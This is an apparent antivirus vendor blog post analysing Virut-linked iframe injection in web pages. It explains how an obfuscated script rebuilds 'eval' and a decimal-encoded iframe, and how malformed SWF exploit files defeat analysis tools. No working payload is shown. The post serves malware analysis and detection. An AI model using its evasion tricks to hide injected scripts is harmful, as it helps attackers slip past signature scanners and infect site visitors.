Virut iframe injection spree continues

Just happened to review our signature against virut-infected Web pages, and I would say, the infection is still very active until now. W32/Virut.CE is known to infect Web pages (HTML, ASP, and PHP) by injecting malicious iframe that redirects visiting users to Web sites serving malicious PDF and SWF files with different kinds of exploits. However, Virut is not the only agent of this iframe injection. Just minutes ago, I’ve searched a couple of infected Web sites specific for this injection compromise, and here’s a good example.

Figure 1 shows a Myspace account with injected iframe related to Virut.  The malicious code injected, disguised as a JPG file, is actually a Web server directory that has its own main page index.html file. The index.html (detected as JS/SWF.CE!exploit) is an obfuscated HTML with malicious JavaScript inside (Figure 2).

Below is the prettyprinted code of the malicious script, which has simple obfuscation strategies.

De-obfuscation Process
First layer of obfuscation is the randomly created style name that is changing in a regular interval time. This also may serve as a simple evasion from signatures with static strings or applying script checksum with simple script normalization algorithm.

The de-obfuscation though is trivial, specially when you have the beautified malicious code in hand. If you’re still doubting your instinct, any script debugger (eg. Firebug, Spidermonkey, Malzilla, etc) will do to trace the decoding process.

First, it removes the numbers (or digits) in the HTML DIV tag with the instruction in Line 25 to get the word eval:

<div class=”bVPI9TaPJwh6″ id=”sfd”>

1e2v345a6l —–> “eval”

</div>

Next, the text in the <B> tag (Bold Text) will be split to remove the dots (‘.’).

The text is actually the malicious code, represented as decimal, and separated with dots.

Next, it converts each decimal number back to character type using String.fromCharCode() and concatenating the result to yield the final malicious iframe.

Nothing really interesting with this old exploit until, when I used flare, swfscan, and swfdump tools to examine the content of the files, they both unable to do the job!

Maybe because of some unknown tags or the files are simply over crafted that effectively defeats the parsing and dumping ability of the tools.

During my tests, flare was spitting out: “Unexpected end of file”, while swfscan was complaining:”Malformed data in SWF Header”,  and swfdump got the worst: it was unable to handle the malformity and crashed!

So I rummaged through the hard disk to find my old, simple SWF dumper I wrote a year ago, and luckily it’s still able to do the trick:

Here’s the output of the tool against one of the SWF files:

The tool was able to skip unknown tags until it finds the END tag.  It has a simple exploits scanner option too to spot the vulnerable tag – DEFINESCENEANDFRAMEDATA.

You can recall that most of the malicious SWF files related to this bug were using the DEFINEBITS and DEFINEBITSJPEG tags as the shellcode container.

The tool can also dump the SWF file to check the data inside each (known) tags.  Check out the SWF specification for more details about an SWF file format.

And here’s the output of the tool when you dump the SWF file:

###########################################################################

We will not bother to show you how to decode the shellcode as its very old already and there are pretty much available resources for doing that.

It’s just a typical shellcode that opens another malicious URL for the stage 2 malware downloader.

If you would like to reminisce how the bug was discovered, just check out Mark Dowd’s paper.

The good new is, there’s not much to worry about on this year-old exploits, because protections are very well in place.

The SWF and HTM files are proactively detected as W32/SWF!exploit.CVE2007071 and JS/SWF.A!exploit respectively by Fortinet FortiClient and FortiGate.